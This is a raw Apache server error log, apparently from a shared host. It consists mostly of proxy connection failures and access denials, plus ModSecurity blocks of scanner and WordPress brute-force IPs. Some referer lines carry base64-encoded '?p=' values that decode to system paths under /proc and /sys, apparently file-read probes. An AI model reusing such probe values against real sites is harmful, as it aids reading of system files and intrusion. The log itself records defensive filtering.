2026] [proxy_http:error] [pid 648189:tid 648386] [client 207.241.173.18:44502] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.029609 2026] [proxy:error] [pid 648189:tid 648432] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.029675 2026] [proxy_http:error] [pid 648189:tid 648432] [client 207.241.173.18:44490] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.029947 2026] [proxy:error] [pid 648189:tid 648386] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.029988 2026] [proxy_http:error] [pid 648189:tid 648386] [client 207.241.173.18:44502] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.030201 2026] [proxy:error] [pid 648189:tid 648432] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.030227 2026] [proxy_http:error] [pid 648189:tid 648432] [client 207.241.173.18:44490] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.030578 2026] [proxy:error] [pid 648189:tid 648394] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.030624 2026] [proxy_http:error] [pid 648189:tid 648394] [client 207.241.173.18:44564] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.030730 2026] [proxy:error] [pid 648189:tid 648369] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.030787 2026] [proxy_http:error] [pid 648189:tid 648369] [client 207.241.173.18:44558] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.031021 2026] [proxy:error] [pid 648189:tid 648428] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.031074 2026] [proxy_http:error] [pid 648189:tid 648428] [client 207.241.173.18:44452] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.031177 2026] [proxy:error] [pid 648189:tid 648394] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.031204 2026] [proxy_http:error] [pid 648189:tid 648394] [client 207.241.173.18:44564] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.031276 2026] [proxy:error] [pid 648189:tid 648382] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.031337 2026] [proxy_http:error] [pid 648189:tid 648382] [client 207.241.173.18:44494] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.031441 2026] [proxy:error] [pid 648189:tid 648369] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.031480 2026] [proxy_http:error] [pid 648189:tid 648369] [client 207.241.173.18:44558] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.031733 2026] [proxy:error] [pid 648189:tid 648428] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.031767 2026] [proxy_http:error] [pid 648189:tid 648428] [client 207.241.173.18:44452] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.031924 2026] [proxy:error] [pid 648189:tid 648382] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.031959 2026] [proxy_http:error] [pid 648189:tid 648382] [client 207.241.173.18:44494] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.032236 2026] [proxy:error] [pid 648189:tid 648483] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.032282 2026] [proxy_http:error] [pid 648189:tid 648483] [client 207.241.173.18:44438] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.032386 2026] [proxy:error] [pid 648189:tid 648378] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.032440 2026] [proxy_http:error] [pid 648189:tid 648378] [client 207.241.173.18:44620] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.032518 2026] [proxy:error] [pid 648189:tid 648411] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.032571 2026] [proxy_http:error] [pid 648189:tid 648411] [client 207.241.173.18:44480] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.032937 2026] [proxy:error] [pid 648189:tid 648380] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.032988 2026] [proxy_http:error] [pid 648189:tid 648380] [client 207.241.173.18:44606] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.033052 2026] [proxy:error] [pid 648189:tid 648483] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.033091 2026] [proxy_http:error] [pid 648189:tid 648483] [client 207.241.173.18:44438] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.033300 2026] [proxy:error] [pid 648189:tid 648411] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.033342 2026] [proxy_http:error] [pid 648189:tid 648411] [client 207.241.173.18:44480] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.033415 2026] [proxy:error] [pid 648189:tid 648378] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.033460 2026] [proxy_http:error] [pid 648189:tid 648378] [client 207.241.173.18:44620] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.033685 2026] [proxy:error] [pid 648189:tid 648380] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.033715 2026] [proxy_http:error] [pid 648189:tid 648380] [client 207.241.173.18:44606] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.047284 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.8:23125] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:55.047595 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.8:23125] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:55.101311 2026] [proxy:error] [pid 648189:tid 648391] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.101335 2026] [proxy:error] [pid 715691:tid 715886] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.101393 2026] [proxy_http:error] [pid 648189:tid 648391] [client 207.241.173.18:44934] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.101395 2026] [proxy_http:error] [pid 715691:tid 715886] [client 207.241.173.18:44864] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.101853 2026] [proxy:error] [pid 648189:tid 648391] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.101878 2026] [proxy_http:error] [pid 648189:tid 648391] [client 207.241.173.18:44934] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.102056 2026] [proxy:error] [pid 715691:tid 715886] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.102087 2026] [proxy_http:error] [pid 715691:tid 715886] [client 207.241.173.18:44864] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.102381 2026] [proxy:error] [pid 648189:tid 648410] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.102424 2026] [proxy_http:error] [pid 648189:tid 648410] [client 207.241.173.18:44926] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.102443 2026] [proxy:error] [pid 715691:tid 715948] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.102486 2026] [proxy_http:error] [pid 715691:tid 715948] [client 207.241.173.18:44892] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.102671 2026] [proxy:error] [pid 648189:tid 648392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.102703 2026] [proxy_http:error] [pid 648189:tid 648392] [client 207.241.173.18:44916] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.102872 2026] [proxy:error] [pid 648189:tid 648410] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.102896 2026] [proxy_http:error] [pid 648189:tid 648410] [client 207.241.173.18:44926] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.102937 2026] [proxy:error] [pid 715691:tid 715948] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.102960 2026] [proxy_http:error] [pid 715691:tid 715948] [client 207.241.173.18:44892] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.103145 2026] [proxy:error] [pid 646876:tid 647100] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.103217 2026] [proxy_http:error] [pid 646876:tid 647100] [client 207.241.173.18:44816] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.103317 2026] [proxy:error] [pid 648189:tid 648392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.103350 2026] [proxy_http:error] [pid 648189:tid 648392] [client 207.241.173.18:44916] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.103756 2026] [proxy:error] [pid 646876:tid 647100] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.103804 2026] [proxy_http:error] [pid 646876:tid 647100] [client 207.241.173.18:44816] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.104288 2026] [proxy:error] [pid 648189:tid 648472] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.104332 2026] [proxy_http:error] [pid 648189:tid 648472] [client 207.241.173.18:44908] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.104509 2026] [proxy:error] [pid 715691:tid 715896] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.104547 2026] [proxy_http:error] [pid 715691:tid 715896] [client 207.241.173.18:44792] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.104804 2026] [proxy:error] [pid 648189:tid 648368] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.104824 2026] [proxy:error] [pid 715691:tid 715963] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.104854 2026] [proxy_http:error] [pid 648189:tid 648368] [client 207.241.173.18:44878] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.104881 2026] [proxy_http:error] [pid 715691:tid 715963] [client 207.241.173.18:44778] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.104935 2026] [proxy:error] [pid 648189:tid 648472] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.104982 2026] [proxy_http:error] [pid 648189:tid 648472] [client 207.241.173.18:44908] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.104997 2026] [proxy:error] [pid 715691:tid 715896] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.105021 2026] [proxy_http:error] [pid 715691:tid 715896] [client 207.241.173.18:44792] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.105410 2026] [proxy:error] [pid 715691:tid 715963] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.105436 2026] [proxy_http:error] [pid 715691:tid 715963] [client 207.241.173.18:44778] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.105679 2026] [proxy:error] [pid 648189:tid 648412] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.105694 2026] [proxy:error] [pid 715691:tid 715897] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.105724 2026] [proxy_http:error] [pid 648189:tid 648412] [client 207.241.173.18:44848] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.105730 2026] [proxy_http:error] [pid 715691:tid 715897] [client 207.241.173.18:44762] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.105782 2026] [proxy:error] [pid 648189:tid 648387] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.105820 2026] [proxy_http:error] [pid 648189:tid 648387] [client 207.241.173.18:44832] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.105880 2026] [proxy:error] [pid 648189:tid 648368] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.105915 2026] [proxy_http:error] [pid 648189:tid 648368] [client 207.241.173.18:44878] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.106185 2026] [proxy:error] [pid 715691:tid 715897] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.106218 2026] [proxy_http:error] [pid 715691:tid 715897] [client 207.241.173.18:44762] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.106274 2026] [proxy:error] [pid 648189:tid 648387] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.106300 2026] [proxy_http:error] [pid 648189:tid 648387] [client 207.241.173.18:44832] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.106375 2026] [proxy:error] [pid 648189:tid 648412] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.106405 2026] [proxy_http:error] [pid 648189:tid 648412] [client 207.241.173.18:44848] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.106843 2026] [proxy:error] [pid 648189:tid 648449] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.106896 2026] [proxy_http:error] [pid 648189:tid 648449] [client 207.241.173.18:44800] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.107555 2026] [proxy:error] [pid 648189:tid 648449] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.107589 2026] [proxy_http:error] [pid 648189:tid 648449] [client 207.241.173.18:44800] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.188580 2026] [proxy:error] [pid 648189:tid 648399] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.188667 2026] [proxy_http:error] [pid 648189:tid 648399] [client 207.241.173.18:44942] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.189149 2026] [proxy:error] [pid 648189:tid 648399] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.189178 2026] [proxy_http:error] [pid 648189:tid 648399] [client 207.241.173.18:44942] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.293406 2026] [proxy:error] [pid 646876:tid 647016] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.293493 2026] [proxy_http:error] [pid 646876:tid 647016] [client 207.241.173.18:44750] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.294016 2026] [proxy:error] [pid 646876:tid 647016] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.294048 2026] [proxy_http:error] [pid 646876:tid 647016] [client 207.241.173.18:44750] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.294501 2026] [proxy:error] [pid 648189:tid 648381] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.294556 2026] [proxy_http:error] [pid 648189:tid 648381] [client 207.241.173.18:44738] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.294595 2026] [proxy:error] [pid 715691:tid 715913] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.294623 2026] [proxy:error] [pid 648189:tid 648418] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.294682 2026] [proxy_http:error] [pid 715691:tid 715913] [client 207.241.173.18:44662] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.294687 2026] [proxy_http:error] [pid 648189:tid 648418] [client 207.241.173.18:44696] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.295014 2026] [proxy:error] [pid 648189:tid 648381] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.295038 2026] [proxy_http:error] [pid 648189:tid 648381] [client 207.241.173.18:44738] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.295136 2026] [proxy:error] [pid 648189:tid 648418] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.295165 2026] [proxy_http:error] [pid 648189:tid 648418] [client 207.241.173.18:44696] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.295436 2026] [proxy:error] [pid 715691:tid 715913] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.295480 2026] [proxy_http:error] [pid 715691:tid 715913] [client 207.241.173.18:44662] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.296176 2026] [proxy:error] [pid 715691:tid 715935] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.296214 2026] [proxy_http:error] [pid 715691:tid 715935] [client 207.241.173.18:44660] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.296446 2026] [proxy:error] [pid 648189:tid 648362] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.296542 2026] [proxy_http:error] [pid 648189:tid 648362] [client 207.241.173.18:44724] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.296669 2026] [proxy:error] [pid 715691:tid 715935] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.296692 2026] [proxy_http:error] [pid 715691:tid 715935] [client 207.241.173.18:44660] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.297095 2026] [proxy:error] [pid 715691:tid 715898] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.297132 2026] [proxy_http:error] [pid 715691:tid 715898] [client 207.241.173.18:44710] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.297262 2026] [proxy:error] [pid 648189:tid 648362] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.297305 2026] [proxy_http:error] [pid 648189:tid 648362] [client 207.241.173.18:44724] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.297555 2026] [proxy:error] [pid 648189:tid 648359] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.297575 2026] [proxy:error] [pid 715691:tid 715898] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.297595 2026] [proxy_http:error] [pid 648189:tid 648359] [client 207.241.173.18:44674] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.297600 2026] [proxy_http:error] [pid 715691:tid 715898] [client 207.241.173.18:44710] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.297942 2026] [proxy:error] [pid 648189:tid 648479] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.297995 2026] [proxy_http:error] [pid 648189:tid 648479] [client 207.241.173.18:44690] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.298187 2026] [proxy:error] [pid 648189:tid 648359] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.298218 2026] [proxy_http:error] [pid 648189:tid 648359] [client 207.241.173.18:44674] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.298611 2026] [proxy:error] [pid 648189:tid 648479] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:55.298664 2026] [proxy_http:error] [pid 648189:tid 648479] [client 207.241.173.18:44690] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:55.302311 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.3:48054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:55.302602 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.3:48054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:55.344461 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:55.344736 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:55.346712 2026] [security2:error] [pid 648189:tid 648334] [remote 17.246.23.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30I1WSojQL4F7upKCOlwAAqW8"] [Sat Jun 13 18:21:55.387476 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.7:22525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:55.387802 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.7:22525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:55.518364 2026] [access_compat:error] [pid 715691:tid 715796] [remote 74.7.242.16:56332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:21:55.518819 2026] [access_compat:error] [pid 715691:tid 715796] [remote 74.7.242.16:56332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:21:55.762579 2026] [security2:error] [pid 646876:tid 646958] [remote 17.241.75.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30I9yTkdrNlD40tSHJuwAAP08"] [Sat Jun 13 18:21:55.848408 2026] [security2:error] [pid 715691:tid 715801] [remote 157.90.174.226:38098] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cgreenphotography.com"] [uri "/wp-login.php"] [unique_id "ai30I7V-dFiaX9AtWiQWNQABNVo"] [Sat Jun 13 18:21:55.853416 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 